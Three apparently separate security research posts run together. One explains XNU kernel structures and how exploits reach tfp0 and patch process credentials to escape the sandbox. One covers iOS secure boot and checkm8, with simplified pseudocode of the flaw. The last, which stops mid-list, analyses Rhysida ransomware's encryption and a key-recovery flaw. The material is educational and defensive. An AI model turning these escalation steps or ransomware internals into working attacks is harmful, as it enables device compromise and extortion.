Messages are what flows through ports. mach_msg2 copies a user message into an ipc_kmsg and processes its typed descriptors, including port-right transfers and out-of-line memory. The message path is one of the densest bug surfaces in the kernel, but it is the subject of the dedicated IPC post, so here it is enough to know that a port without messages does nothing, and that the descriptor-handling code is where the interesting lifetime bugs live.

The BSD half

The BSD side is where identity lives, and identity is what you eventually rewrite.

Syscalls dispatch through sysent, indexed by the positive syscall numbers, the mirror image of the Mach trap table.

struct proc is the process from BSD’s point of view: p_pid, the file-descriptor table p_fd, a back-pointer to the task, and, most importantly, p_ucred, the pointer to its credentials.

Credentials are a kauth_cred_t, holding the familiar cr_uid and group set, and a field that matters more on iOS than the uid does: cr_label, the slot for the Mandatory Access Control Framework (MACF), the kernel hook layer that AMFI (Apple Mobile File Integrity) and the sandbox plug into as policy modules to hang their per-process policy, covered in the next two posts. Credentials are reference-counted and copy-on-write. The offensive beat here is direct: once you have kernel read/write, patching your process’s p_ucred to point at the kernel process’s credentials makes you root, and editing the MACF label sheds the sandbox and grants entitlements. This, not a shellcode payload, is the canonical thing an iOS kernel exploit does with its read/write.

VFS, sockets, and kauth round out the surface. They are lower-glamour but reach the same heap. The archetype is SockPuppet (Ned Williamson, CVE-2019-8605): a use-after-free in a BSD socket option, whose exploitation is pure Mach-port heap craft. A BSD bug, turned into a Mach primitive, on the shared heap.

tfp0: the objective

Now the payoff.

tfp0 is read “task-for-pid-zero.” task_for_pid(pid) is a Mach trap that returns a send right to that process’s task control port. Pid 0 is kernel_task, the kernel’s own task. So task_for_pid(0) returns a send right to the kernel task port, and holding that right lets you call mach_vm_read and mach_vm_write on the kernel task, whose address space is kernel memory. That is arbitrary kernel read/write from userland, through ordinary, documented Mach APIs.

tfp0 is a capability, not a technique. It is not a bug and not an exploitation method. It is the prize an exploit produces: the stable kernel read/write primitive, expressed as a Mach port. The bug and the work to exploit it are the technique; tfp0 is what you build with them. People call it a “primitive,” but in the sense of “the kernel read/write primitive you are aiming for,” not a step in the attack.

The name is now generic. On modern iOS you almost never get the kernel task by literally calling task_for_pid(0); Apple restricted that path and it no longer hands the kernel task port to userland. Instead an exploit forges a fake kernel task port, a port the kernel reads as IKOT_TASK_CONTROL over a task the attacker controls, as described in the ports section. The capability is the same; only the way you obtain it changed. So “tfp0” has drifted into a generic term meaning “obtain the kernel task,” whatever the actual mechanism. When someone says a chain “gets tfp0,” they mean it reaches userland kernel read/write, not that it called a particular trap.

The APIs are not exotic. mach_vm_read(task, addr, size, ...) reads bytes from a task’s address space, and mach_vm_write(task, addr, data, ...) writes them. These are the same calls a debugger uses: lldb attaches to a process by taking its task port and then reads and writes the debuggee’s memory with exactly these functions. tfp0 is that mechanism pointed at kernel_task. All of the power comes from which task the port names, a task you were never supposed to be able to name, and none of it from anything unusual in the API.

Read, write, and why you need both. Not all primitives are equal, and it is worth being precise about the ladder, because a “read capability” and full read/write are very different things:

A simple read capability tells you where things are. Only a write lets you act. tfp0 is the objective precisely because it packages both, arbitrarily and stably through mach_vm_*, rather than as a fragile one-shot you have to keep re-triggering. Turning a limited primitive into full read/write, upgrading a relative read or a single write-what-where into clean arbitrary access, is a craft of its own, and it is the subject of a later post; here the point is only to understand what the finished capability is.

The shape of a kernel exploit

With the vocabulary in place, almost every iOS kernel exploit reads as the same arc:

1. a memory-safety bug gives limited control (an out-of-bounds write, a use-after-free, a refcount error);
2. controlled reallocation reclaims the freed or adjacent memory with attacker bytes;
3. that memory is type-confused into a kobject port or a disclosable vm_map_copy;
4. which yields arbitrary read/write, a userland kernel task port, tfp0;
5. which patches p_ucred and the MACF label, and the process is now root and out of its sandbox.

Two historical bugs show the pattern cleanly. Brandon Azad’s voucher_swap (CVE-2019-6225) freed an ipc_voucher through a reference-counting error in MIG (the Mach Interface Generator, which auto-writes the code that unpacks Mach messages for kernel services), then reallocated it as a port array and rode the dangling port to a fake task port: the archetype of “refcount bug to kernel read/write.” Ian Beer’s “task_t considered harmful” was not memory corruption at all but a design-level capability confusion, where passing task ports across a privilege boundary let a caller confuse which task a kobject port referred to. Both are capability confusions, not memory corruption, which is why this post spent its length there.

What changed by 2026

The abstractions above are stable; the exploitation economics inverted. The details belong to later posts, but the headline changes are worth naming so the model above is not read as current-year-easy.

Control ports such as the task self port are now immovable and pinned, so the old tricks that swapped or freed a task’s own control port fault instead. Reference counts moved to the hardened os_refcnt framework, which saturates and panics rather than wrapping, closing the overflow-to-use-after-free class. mach_port_guard lets a holder bind a context to a port so unexpected operations fault.

Bigger still, and covered in the mitigations posts: kalloc_type (iOS 15) segregates the heap by type signature, so a freed object can only be reclaimed by types that share its signature, which breaks the generic “reallocate the freed slot as an ipc_port” move that step 2 above relied on. On A15 and later, SPTM and TXM (the Trusted Execution Monitor) took page tables and code-signing out of XNU entirely, so even a full kernel read/write can no longer rewrite page tables or forge a code-signing verdict. On A19, Memory Integrity Enforcement makes many linear overflows and use-after-frees synchronously fatal. tfp0 is now the start of the hard part, not the end of it.

Hands-on: reading the structures out of the kernelcache

The previous post pulled a kernelcache apart the long way, through the Image4 container. To just get one open in a disassembler, ipsw downloads and decompresses it in a single command, without fetching the whole IPSW:

ipsw download ipsw --device iPhone10,3 --version 15.0 --kernel
# writes a decompressed arm64 Mach-O under a build-named folder, e.g.
# 19A346__iPhone10,3/kernelcache.release.iPhone10,3_6

file 19A346__iPhone10,3/kernelcache.release.iPhone10,3_6
# Mach-O 64-bit executable arm64

iPhone10,3 is an A11, so this image is plain arm64, not arm64e, and the pointer fields you will see are not PAC-signed. That is useful for a first read: you get the raw layout without the signing, and the pointer authentication that wraps these same fields on A12 and later is what the later PAC post adds on top.

Open the file in a disassembler with arm64 support. On macOS that means Hopper, Ghidra, or IDA Pro; note that the IDA Home tier is x86-only and will not load it. Point it at the whole kernelcache (kernel plus all kexts) and let the analysis finish.

A release kernelcache carries almost no symbol names, so recover them before anything else. ipsw kernel sym, paired with blacktop’s symbolicator signatures, rebuilds most of them and writes a JSON you apply with the matching script for Ghidra, IDA Pro, Binary Ninja, or radare2; IDA users also have the older ida_kernelcache. With names back, the functions and tables below are one jump away.

Work through four things:

1. The syscall gates. Two dispatch tables sit at the front of the kernel: mach_trap_table (Mach traps, reached from EL0 as negative syscall numbers) and sysent (the BSD syscalls, positive numbers). ipsw dumps the BSD table in full, each entry with its number, handler, argument count, and C prototype:

ipsw kernel syscall kernelcache.release.iPhone10,3_6

mach_trap_table is the Mach-side parallel. In the disassembler it sits at its symbol as a raw array of { argument count, handler pointer } entries, entry zero being the reserved kern_invalid trap.

2. Port to kernel object. Decompile any member of the convert_port_to_* family; convert_port_to_map_with_flavor is a clean one. You see the shape the kobject bridge always takes: it reads the port, checks a type byte, dereferences the kernel object behind it (the ip_kobject), and acts on it. This one even panics with a userspace has access to a kernel map ... through task warning when that object turns out to be the kernel’s own map, which is a fair reminder of what these ports gate.

3. The name lookup. Decompile ipc_right_lookup_read, the routine that resolves a port name for a read. It walks the exact path from the ipc_space section: the name is shifted right by 8 for the table index (param_2 >> 8), that index scaled by the ipc_entry size (* 0x18) picks the slot in is_table, and each entry holds ie_object at offset 0 and ie_bits (the right type and generation) at + 8.

4. Where identity lives. The last piece is the write target. struct proc holds p_ucred, a kauth_cred_t carrying cr_uid and the cr_label that AMFI and the sandbox hang their per-process policy on. That credential is what a kernel read/write overwrites at the end of a chain: patch p_ucred to a privileged cred and the process is root and out of its sandbox, the concrete form of the BSD-half point from earlier. The kauth_cred_* accessors that symbolication turns up read the very fields you would change.

Where this leaves us

The kernel is now a concrete object rather than a name. It is a Mach and BSD hybrid in one address space; authority is held as ports and named through ipc_space; and the objective every escalation shares is a single capability, tfp0, a userland handle to kernel read/write that you obtain today by forging the kernel task port rather than by asking for it.

That capability is only interesting because of what it is allowed to overwrite, and the next posts are about the machinery that decides. The MACF label we just met inside p_ucred is where the following article starts: the framework that decides, at every exec, what is even allowed to run, and how AMFI, code signing, and trust caches hang off it.

Notes and sources

Everything here is drawn from open source, vendor documentation, and published research.

• Apple’s open-source XNU is ground truth for every structure and macro named above: osfmk/ipc/ipc_port.h, ipc_object.h, ipc_entry.h, osfmk/kern/syscall_sw.c (the trap table), osfmk/kern/ipc_kobject.c (the convert_port_to_* helpers and the manual PAC of ip_kobject), and osfmk/kern/kalloc.c / zalloc.c.
• Jonathan Levin, OS Internals, Volume II: Kernel Mode (newosxbook.com), is the reference for the Mach and BSD structures, trap tables, and zone allocator.
• Brandon Azad, “Voucher swap: exploiting MIG reference counting in iOS 12” (Project Zero, CVE-2019-6225), and “A survey of recent iOS kernel exploits” map the port and zone primitives named here.
• Ian Beer, “task_t considered harmful” (Project Zero), is the capability-confusion case study, and the mach_portal / async_wake writeups established the port-spray playbook.
• Apple Security Research, “Towards the next generation of XNU memory safety: kalloc_type”, for the heap-segregation change that reshaped step 2 of the exploit arc.

This post follows that sequence in reverse, from the part an attacker cannot modify up to the kernel, looking at what each stage checks before it trusts the next.

The problem: a root of trust

Verification like this is circular unless it ends somewhere. The kernel is trusted because iBoot checked its signature, iBoot because an earlier stage checked its signature, and so on down. Either that regress continues forever or it stops at something the device trusts without checking. That something is the root of trust. For it to be useful it has to meet two conditions: an attacker must not be able to modify it, and it must hold the reference value that every later check compares against.

The chain provides two separate guarantees, and they defend against different things. Integrity means that at each stage, only code signed by Apple runs. Anti-downgrade means the device will not accept an older signed version whose bugs are already public. Integrity prevents booting an unsigned kernel. Anti-downgrade prevents reinstalling an old iBoot to reuse a vulnerability Apple has since fixed.

The anchor: Boot ROM

The root of trust is the first code the Application Processor runs when it leaves reset. Apple calls it the Boot ROM. Most people who study it call it SecureROM, the name that appears as a string inside the code itself. It is read-only memory written when the chip is fabricated, and it contains a small amount of code plus the Apple Root CA public key.

The Boot ROM uses that key to verify that the next stage was signed by Apple before running it. Because the memory is read-only, neither the key nor the code can be changed after fabrication. That is what lets the Boot ROM serve as the anchor: if it could be modified, an attacker could modify it, and it would then verify the attacker’s code as readily as Apple’s.

The same property has a cost. A bug in later code can be patched; a bug in the Boot ROM cannot, because read-only silicon cannot be updated in the field. checkm8, later in this post, is an example.

The stages: one link at a time

Trust is passed up from the anchor one stage at a time, following the same rule throughout: a stage verifies the signature on the next stage before transferring control to it. A valid signature at the bottom therefore vouches for the entire sequence above it.

The exact stages depend on the age of the device. On an A9 or earlier SoC there is an extra one, the Low-Level Bootloader (LLB): the Boot ROM verifies and runs LLB, and LLB verifies and runs iBoot. On A10 and later the Boot ROM loads iBoot directly. LLB still exists as an image but is now identical to iBoot, tagged so the Boot ROM jumps to it, and iBoot runs in two internal phases, the first performing LLB’s old role. On a modern device the chain is three stages:

   Application Processor, out of reset
             │
             ▼
        Boot ROM        immutable, holds the Apple Root CA public key
             │          verify signature, then jump
             ▼
         iBoot          (A10+; older SoCs run LLB before this stage)
             │          verify signature, then jump
             ▼
       kernelcache      XNU + kexts, wrapped in an Image4 container

iBoot is a full bootloader. It has its own USB stack, a command interpreter in development builds, and the code that loads the kernel. When it finishes its setup it verifies and runs the kernelcache.

A kernelcache is not a bare kernel. It is XNU prelinked with the kernel extensions the device needs, compressed, and, on every 64-bit device, wrapped in the Image4 container described in the next section. That container is what lets iBoot confirm the image it read from disk is the exact kernel Apple signed.

Boot modes: normal, recovery, and DFU

The same chain runs differently depending on how the device was started. The three modes below stop at different stages and expose different things over USB.

Normal boot runs the entire chain and starts the OS.

Normal boot
    Boot ROM ──▶ iBoot ──▶ kernelcache ──▶ iOS
    the whole chain runs and the OS starts

Recovery mode runs the chain up to iBoot, then iBoot stops short of loading the kernel and waits for a host over USB. This is the “connect to computer” screen, and it is what an ordinary restore or update talks to. The code handling the host is iBoot, one stage above the Boot ROM.

Recovery mode
    Boot ROM ──▶ iBoot ──▶ ✗  kernel is not loaded
                    │
                    └── iBoot waits on USB ("connect to computer" screen)
                        used for normal restores and updates

DFU mode is lower. The device halts in the Boot ROM, before iBoot runs, with the screen black, and the Boot ROM waits for a host to send the next image over USB. It verifies and runs whatever it receives, the same as during a normal boot. DFU is used for the lowest-level restores, and it is the mode a Boot ROM exploit needs, because the USB code listening in DFU belongs to the Boot ROM itself. checkm8 is triggered here.

DFU mode
    Boot ROM ──▶ ✗  iBoot has not started
        │
        └── the Boot ROM waits on USB (screen stays black)
            used for low-level restores; checkm8 attacks the USB code at this stage

Image4: the container everything is signed in

Every signed object in the chain uses the same container: Image4, written IMG4. iBoot, the kernelcache, the device tree, the SEP firmware, and the restore ramdisk are all IMG4 files. It is an ASN.1 structure, DER-encoded, with three parts that matter here.

The payload is the IM4P. It holds a four-character type tag identifying the contents (krnl for the kernelcache, ibot for iBoot, sepi for the SEP firmware, and so on), a description string such as a build version, the payload bytes, and, if the payload is compressed, the compression scheme. Two schemes appear in practice: LZSS, which Apple wraps with a complzss header, and LZFSE, whose stream starts with a bvx block magic such as bvx2. An encrypted payload also carries a KBAG, the wrapped key material.

The manifest is the IM4M, also called the APTicket. It contains the expected digests of every image in the boot chain (SHA-384 on modern devices), a set of manifest properties, an X.509 certificate chain, and an RSA signature over all of it. One point is often stated incorrectly: this is not a CMS or PKCS#7 signature. It is an Apple-specific ASN.1 structure with an RSA signature over a SHA-384 digest, and its certificate chain terminates at an Apple-controlled secure-boot root whose public key is the one held in the Boot ROM.

The restore info is the IM4R. Its main content is the boot nonce, tagged BNCN, which the next section depends on.

Verifying an image against a manifest is two steps: confirm that the manifest’s signature is valid and chains to Apple, then confirm that the image about to run hashes to the digest the manifest lists for it.

Personalization and the signing window

The checks so far verify a signature. They do not yet explain why a valid, Apple-signed iBoot from an old release cannot be installed today. That is enforced by a separate mechanism.

Apple signs each build per device and per install rather than once for all devices. During a restore or update, the device contacts Apple’s signing service (named Tatsu, referred to as TSS) and sends the list of images it wants to install along with two device-specific values. The first is the ECID, the Exclusive Chip Identification, a value unique to that SoC. The second is the ApNonce, a fresh anti-replay nonce derived from a random generator value and hashed (SHA-384 on current chips) into the manifest field BNCH. TSS returns a manifest bound to that ECID and that nonce. This personalized signed manifest is the APTicket; a saved copy of it is an SHSH blob, or on modern devices a .shsh2 file.

This binding has two effects. Because the manifest is tied to the ECID, a ticket signed for one device does not validate on another, so signed firmware cannot be copied between devices. Because it is tied to a fresh nonce, a saved ticket cannot be replayed later unless the matching nonce generator can be reproduced, which is not possible on a stock device.

The signing window is a time limit on top of this. Apple issues fresh signatures only for the build it currently ships. Some days or weeks after a new release, it stops signing the previous one, after which TSS will not personalize that build for any device. Without a previously saved ticket and a reproducible nonce, there is then no way to restore or downgrade to it.

The Secure Enclave boots alongside

While the Application Processor works through that sequence, the Secure Enclave performs an equivalent one in parallel, isolated in hardware. The enclave has its own dedicated Boot ROM, a separate root of trust on the same die. At startup iBoot reserves a region of memory for it, and the Application Processor passes the enclave its operating system, sepOS. The enclave’s own Boot ROM verifies that image’s hash and signature before running it. iBoot and the Application Processor deliver the image but do not perform this check. If the check fails, the enclave stops operating until the next full chip reset.

On A13 and later, an additional Boot Monitor measures the sepOS that booted, and a hardware mechanism, System Coprocessor Integrity Protection (SCIP), restricts the enclave to executing only its own Boot ROM code. The enclave is covered in its own article. Secure boot is really two chains, rooted in two separate ROMs, that meet at a shared memory region.

When the chain breaks: checkm8

The chain’s security depends entirely on the anchor, and on a large range of devices the anchor is exploitable.

In September 2019, axi0mX published checkm8 (CVE-2019-8900), a use-after-free in the Boot ROM’s USB code. It is reachable only in DFU mode, Apple’s low-level Device Firmware Update state, and only over a physical USB connection. When DFU initializes USB it allocates a global buffer for control transfers and keeps a pointer to it. If a control transfer is started but its data phase is left unfinished, and DFU is then aborted, the teardown frees the buffer without clearing the pointer. Re-entering DFU reuses the freed pointer. With control over what gets allocated into the freed memory, that use-after-free becomes code execution in the earliest and most privileged code on the device.

Reduced to its core, the bug is a freed pointer that is never cleared. The code below captures the shape of the flaw in simplified pseudocode. Apple’s Boot ROM is closed source, so this is reconstructed from public analysis, not copied from it:

static void *io_buffer;              /* global buffer for USB control transfers */

/* A control transfer with a data stage sets the buffer up. */
static void usb_setup_transfer(size_t len)
{
    io_buffer = alloc(len);
}

/* Aborting DFU tears the transfer down. */
static void usb_quiesce(void)
{
    free(io_buffer);
    /* freed, but io_buffer is never set back to NULL */
}

/* Re-entering DFU drives another transfer through the same global. */
static void usb_handle_transfer(const void *data, size_t len)
{
    memcpy(io_buffer, data, len);    /* io_buffer now points at freed memory */
}

The free runs in the abort path and leaves io_buffer dangling, and the next transfer writes through it. The rest of checkm8 is timing and heap control: the attacker reallocates the freed region with its own data before the stale pointer is used, so the write lands on something it controls.

checkm8 affects every SoC from A5 to A11, meaning iPhones from the 4S through the iPhone 8 and iPhone X, along with many iPads and iPods and the A10-derived T2 chip in Intel Macs. Because the vulnerable code is in read-only ROM, none of these devices can be patched.

Two distinctions matter. First, the checkm8 bug is not the checkra1n jailbreak built on it: the bug covers A5 to A11, while checkra1n supported only A7 through A11, and A5 and A6 required other tools. Second, checkm8 does not by itself provide access to user data. It requires physical possession of the device and a cable, it is non-persistent (it does not survive a reboot and must be re-run over USB), and it does not defeat the Secure Enclave, the passcode, or the data-at-rest encryption they protect. What checkm8 gives is control of the boot chain itself.

That control is still significant, because every guarantee above the Boot ROM (the signature checks, the signing window, the trust caches and code-integrity mechanisms covered in later articles) is enforced by code that checkm8 can replace. This is why a Boot ROM bug is worth more than most bugs above it, and why later mitigations are designed on the assumption that the layer below them may be compromised.

From a Boot ROM bug to a jailbreak

The Boot ROM is the first code that runs, and its job is to decide what runs next by checking Apple’s signature on it. Every stage after it does the same for the stage above, so the rule that the device runs only Apple-signed code is enforced from the bottom up. checkm8 lets an attacker run their own code inside that first stage. Once you are running inside the component that makes the decision, you can change the decision: your code can skip the signature check instead of performing it.

From there you work up the chain. You control the bottom stage, so when it loads the next one, iBoot, you give it a modified version and your code lets it through without verifying it. Now you control iBoot. iBoot loads the kernel the same way, so you pass it a patched kernel and it loads without objection. Each stage you own switches off the check on the stage above it, and you move up one stage at a time, each check disabled by the very stage that was supposed to enforce it.

At the top you have a kernel running your changes. That is what a jailbreak is. In practice it means the device will run software Apple never signed, you have full control of the system including the parts normally locked down, and you can load your own kernel code. For a researcher it is a complete environment for inspecting, patching, instrumenting, and debugging the device from the inside.

One practical consequence follows from how this works. Because the Boot ROM is read-only, nothing you do to the chain sticks: reboot the device without a computer attached and it comes back up as stock, so the exploit has to be re-run over USB each time. That is why checkm8 jailbreaks are described as semi-tethered.

Apple Silicon Macs: LocalPolicy and security levels

Everything above is an iPhone description, but since Apple Silicon it applies to Macs as well, on the same primitives with one addition.

The Mac boot chain is Boot ROM, then LLB, then iBoot, then the kernel. On the Mac, LLB is a distinct stage, unlike the modern iPhone where it is merged into iBoot. The addition is that a Mac owner can choose how strict the chain is, and that choice is itself signed.

The choice is stored in a file called LocalPolicy. It is an Image4 object, but unlike the OS images it is not signed by Apple. It is signed by the machine’s own Secure Enclave, using a key generated on that specific Mac that never leaves it. Apple signs the operating system. The Secure Enclave signs the LocalPolicy, the record of how strictly the owner wants that operating system checked. The enclave’s attached secure storage blocks rollback of the policy itself, so it cannot be silently downgraded to a weaker setting.

There are three settings. Full Security is the default and matches iOS: the OS is personalized to the machine with its ECID, giving the same anti-rollback guarantee. Reduced Security uses Apple’s global, non-personalized signatures, which allows booting older signed versions of macOS and is also required to load third-party kernel extensions. Permissive Security accepts boot objects signed locally by the enclave rather than by Apple, including a custom XNU kernel, and requires System Integrity Protection to be off; it is intended for developers and researchers. The local signing chain still runs at this setting: the boot objects are checked against a key held on the machine.

Changing any of these settings requires physical access. The user boots into recoveryOS through One True Recovery, entered by pressing and holding the power button (a signal software running in macOS cannot generate), and authenticates as an administrator.

Hands-on: from IPSW to kernelcache

An IPSW is a zip archive of Image4 objects, and two open tools, blacktop’s ipsw and pyimg4, are enough to go from the download to a kernel you can disassemble.

The commands below show the sequence. Exact flags change between tool versions, so check each tool’s --help, and read the output as representative of the format rather than one device’s actual signed values.

# 1. Pull an IPSW for a device and build you want to look at.
ipsw download ipsw --device iPhone10,3 --build <build>

# 2. An IPSW is a zip. Look at what is inside.
unzip -l iPhone10,3_*.ipsw
#   kernelcache.release.iphone10b
#   Firmware/dfu/iBoot.d22.RELEASE.im4p
#   Firmware/all_flash/DeviceTree.d22ap.im4p
#   ...

# 3. Read the payload header: what is this, and how is it packed?
pyimg4 im4p info -i kernelcache.release.iphone10b
#   FourCC:      krnl
#   Description: KernelCache
#   Data compression type: LZSS  (Apple 'complzss' wrapper)

# 4. Pull the raw payload out of the IM4P and decompress it.
pyimg4 im4p extract -i kernelcache.release.iphone10b -o kernelcache.raw
file kernelcache.raw
#   kernelcache.raw: Mach-O 64-bit executable arm64

The kernelcache is now a Mach-O. Before disassembling it, look at the manifest that vouches for it:

# 5. The manifest: the object that says 'Apple signed this'.
# The personalized manifest is not in the IPSW; it comes from your own
# device or a saved SHSH blob (for example via tsschecker).
pyimg4 im4m info -i APTicket.der
#   Device Processor:    T8015           (A11, the iPhone10,3 SoC)
#   ECID (hex):          0x<your device's ECID>
#   ApNonce (hex):       <nonce hash, the BNCH field>
#   SepNonce (hex):      <SEP nonce>
#   Manifest images (N): krnl, ibot, sepi, rdsk, dtre, ...
#   (add -v for each image's DGST digest and the rest of the properties)

The Manifest images list is the set of components this ticket vouches for; with -v, each is shown alongside the digest (DGST) the loader will require the real image to match. The ECID is the personalization described earlier, which ties the ticket to one device, so running pyimg4 im4m info on a manifest from your own device is a useful check: the ECID it prints is that device’s. The manifest also carries an X.509 certificate chain that terminates at the key held in the Boot ROM. Open kernelcache.raw from step four in a disassembler and you have the starting point for the next article, on XNU.

State in 2026

The main change is convergence: the iOS boot chain and the Apple Silicon Mac boot chain now use the same primitives (Image4, TSS, per-device personalization), differing mainly in the LocalPolicy layer that Macs add. The coprocessors boot the same way, each verifying its own signed image against its own root.

The mitigations above the boot chain are covered in later articles rather than here. Once the kernel is running, pointer authentication changes what an attacker can do with a bug, which is the subject of the arm64e post and continues when this series reaches the kernel.

The anchor itself is also still active research. In mid-2026, researchers reported a checkm8-style Boot ROM bug said to reach the A12 and A13 generations. If it holds up, it extends the unpatchable-ROM problem two generations forward.

Where this leaves us

This is the full chain, from the Boot ROM to the kernel the rest of the system runs inside. Little of what follows in the series introduces a new kind of trust. The sandbox, code signing, the trust caches, and the entitlements that decide what a process can do are all enforced by a kernel that runs only because this sequence of signatures verified in order. That is also why a Boot ROM compromise like checkm8 undermines all of them at once. The next article moves up one level, into the kernel itself: XNU, its Mach and BSD halves, and the capability model the rest of the security stack is built on.

Notes and sources

Everything here is drawn from public documentation, open tooling, and published research.

• Apple Platform Security: Boot process for iPhone and iPad, Boot process for a Mac with Apple silicon, The Secure Enclave, Secure software updates, and the LocalPolicy file contents.
• The Image4 format and the APTicket / SHSH scheme: The Apple Wiki on IMG4 and APTicket; Jay Freeman (saurik), “Where did my iOS 6 TSS data go?”; and amarioguy’s “An analysis of iBoot’s Image4 parser”.
• checkm8: axi0mX’s ipwndfu and CERT VU#941987 (CVE-2019-8900).
• Tooling used above: blacktop/ipsw and pyimg4.
• For depth beyond any of this, the standard reference is Jonathan Levin’s OS Internals: Volume III (Security & Insecurity) for the boot chain and secure boot, Volume II (Kernel Mode) for XNU.

Rhysida is a ransomware-as-a-service group that has been active since around May 2023 and has since claimed 250+ victims across healthcare, education, and government, mostly in the US and Europe.

I found a cryptographic flaw in its encryption back in May 2023, just weeks after the ransomware first surfaced, but NDA constraints meant I couldn’t publish until now.

The flaw: its file-encryption keys are derived from a timestamp-seeded RNG, so they can be regenerated and the files recovered. I confirmed it across sixteen versions and built a C decryptor that handles all of them. The PowerShell version of the ransomware fixes the flaw. Full technical breakdown below.

Rhysida exists in several forms, written in different languages and compiled for different architectures. This write-up focuses on the sample below, which we treat as the version 0 reference, the earliest one we observed:

SHA-256: a864282fea5a536510ae86c77ce46f7827687783628e4f2ceb5bf2c41b8cd3c6

Static analysis of the Rhysida encryptor

This version of Rhysida ships with debugging symbols, which makes it considerably easier to analyze. It’s also the sample I built the decryptor against, I then adapted it to the other versions as they appeared. We’ll walk through that adaptation process too, and to keep things readable we’ll only cover the parts of the binary that actually matter.

Entry point and initialization

Execution drops into the encryptor through main, which sets everything up before any of the victim’s files get touched. The first disassembled block is already a goldmine, two things jump out:

srand is seeded with time(0). The PRNG is initialized straight from the current timestamp. This is the crux of the whole vulnerability, and we’ll come back to it.

A call to GetSystemInfo, then a read of sysinfo.dwNumberOfProcessors. Rhysida grabs the number of logical processors on the victim’s machine and stashes it in a global, PROCS, which it uses later to parallelize the encryption.

Next we see a loop that runs a counter up to the number of logical processors found earlier, spawning a new thread for each one. Each thread is later used to generate the file encryption keys asynchronously.

This is exactly why we need to know the victim machine’s logical processor count to decrypt the files, but that number is usually standard and easy to guess (4, 8, 16, 32, 64…). We’ll dig into this in the decryptor development section.

Once the thread-spawning loop is done, the program calls an internal function named parseOptions, which parses the arguments the attacker passed to the program, used to toggle certain internal options of the encryptor or switch its operating mode.

Two parameters in particular stand out:

-d, lets the attacker point the program at a specific directory. The path is stored in a directory_modifier variable, whose value then gets written into the program’s internal options.

-sr, tells the program to delete itself once it’s done running. The boolean is held in a self_remove_modifier variable and likewise written into the internal options.

To sum up, the decompiled C pseudocode of parseOptions looks roughly like this:

You can clearly see the comparisons against the "-d" and "-sr" strings, along with the storage of any attacker-supplied parameter values into the program’s internal options.

Likewise, here’s the C pseudocode for the start of main analyzed earlier, the srand call seeding the PRNG, GetSystemInfo for the processor count, the for loop that spins up the threads, and the parseOptions call:

Initializing the encryptor’s cryptographic parameters

Further along the execution flow, we hit a series of routines that initialize the encryptor’s cryptographic parameters.

init_prng initializes the pseudo-random number generator. We’ll come back to this later in the write-up.

rsa_import imports, among other things, a public RSA key referenced earlier in the code, along with its size. This public RSA key is hardcoded into the encryptor.

register_cipher then find_cipher are called in succession to set up the AES cipher mode.

register_hash, chc_register then find_hash are called in succession to set up the hash function used.

Walking the file system

The program then moves on to walking the system’s files, through a parent function openDirectoryNR that takes the path of the directory to recurse into. Its prototype is:

void __cdecl openDirectoryNR(char *directory_name);

How directories are selected

The argument, the full path to the directory to walk and encrypt, depends on the -d option the attacker passes to the program. As seen earlier, this option sets a target folder to encrypt. For example, -d C:\Users\test\Downloads tells the program to encrypt only the Downloads folder of the user test. If no -d parameter is given, the entire disk is walked and encrypted by default. Here’s what that looks like in C pseudocode:

If the internal directory option doesn’t exist (meaning no -d was used at launch, which is the default behavior), the program iterates over every letter from A to Z and tries to recursively encrypt every drive mounted on the system: A:, B:, C:, and so on. If a mount point doesn’t exist, it’s skipped and the encryptor moves to the next letter. So the main system drive, often C:, gets encrypted, along with any other data disks and mounted external storage (D:, E:, …).

For simplicity we won’t break down openDirectoryNR in detail. It’s just a file-traversal function: it works through a queue holding the folders to visit one after another, while regular files are pulled out of the traversal and added to a global array named QUERY_FILE_POSS by the addFileToQueue function.

Excluded directories

Some folders are skipped by the encryptor, via an array of directory paths named exclude_directories that the isDirectoryExcluded function checks against. These are mostly system and boot directories: leaving them untouched keeps the machine bootable and usable enough for the victim to actually read the ransom note and pay.

Once the integer array is exported and converted back to strings, we get the following excluded paths:

/$Recycle.Bin
/Boot
/Documents and Settings
/PerfLogs
/Program Files
/Program Files (x86)
/ProgramData
/Recovery
/System Volume Information
/Windows
/$RECYCLE.BIN

Encrypting files

Across multiple threads, one per logical processor on the system, the processFiles function is called to handle the files assigned to each thread. It walks the array of files to encrypt, extracts the file path’s name, checks whether the file is actually a legitimate target with isFileExcluded, and encrypts it where appropriate with processFileEnc.

Excluded files

Some files are left out of encryption too. In isFileExcluded we see filtering on file extensions, driven by an integer array exclude_extensions that holds the extensions to skip. As with the excluded directories, these are mostly executables and system files: encrypting them would risk breaking the OS and leaving the machine unbootable, which works against the attacker’s goal of a recoverable, ransom-payable system.

Just like the previous array, once exported and converted to strings, we get the list of file extensions Rhysida will not encrypt:

.bat
.bin
.cab
.cmd
.com
.cur
.diagcab
.diagcfg
.diagpkg
.drv
.dll
.exe
.hlp
.hta
.ico
.lnk
.msi
.ocx
.ps1
.psm1
.scr
.sys
.ini
Thumbs.db
.url
.iso

A quirk in the random number generation

Before getting into the encryption process itself, it’s essential to understand how Rhysida generates randomness.

As briefly mentioned earlier, the init_prng function called early in execution initializes the random number generator. We see that this function is called once per thread that can run simultaneously during execution. Each thread maps to a logical processor core, which is exactly why the program needs to grab the machine’s logical processor count up front.

This function makes several calls into the external libtomcrypt library, notably the ChaCha20 random-string generation functions, but also calls to rand, which acts directly on the value passed earlier to its seeder, srand. In our case, that seed is the timestamp passed to srand at the start of the program.

The global array fed by this function, named prngs and sized to the number of processors, holds the various initialization values for the ChaCha20 random-string generator. It’s used throughout the rest of the program, in particular to generate the encryption keys.

The key thing to remember here: from one processor count to another, this array will be different, and so will the strings generated from it.

The encryption routine

Rhysida’s encryption algorithm follows a specific process that we find in every strain we analyzed. As mentioned earlier, a victim file is encrypted in the processFileEnc function, called on each targeted file in turn, taking the file path and name as its argument. we won’t detail every cryptographic function involved; to keep things simple, we’ll focus only on what’s essential to explain how the vulnerability is exploited and how the decryptor was built.

In short: the key and IV for each file are produced by a ChaCha20 string-generation function. Those values are encrypted with RSA, whose private decryption key is held solely by the attacker. The file is then encrypted with the generated key and IV using the CTR algorithm, and these RSA-encrypted values are stored at the end of the encrypted victim file. The ChaCha20, RSA, and CTR algorithms are all implementations from a single external library, libtomcrypt.

The encryption process, step by step

Here’s the path Rhysida takes to encrypt files:

Generate a 32-byte key and a 16-byte initialization vector with chacha20_prng_read. Then initialize the cipher with that key and IV using ctr_start.

Set the IV for the CTR algorithm with ctr_setiv.

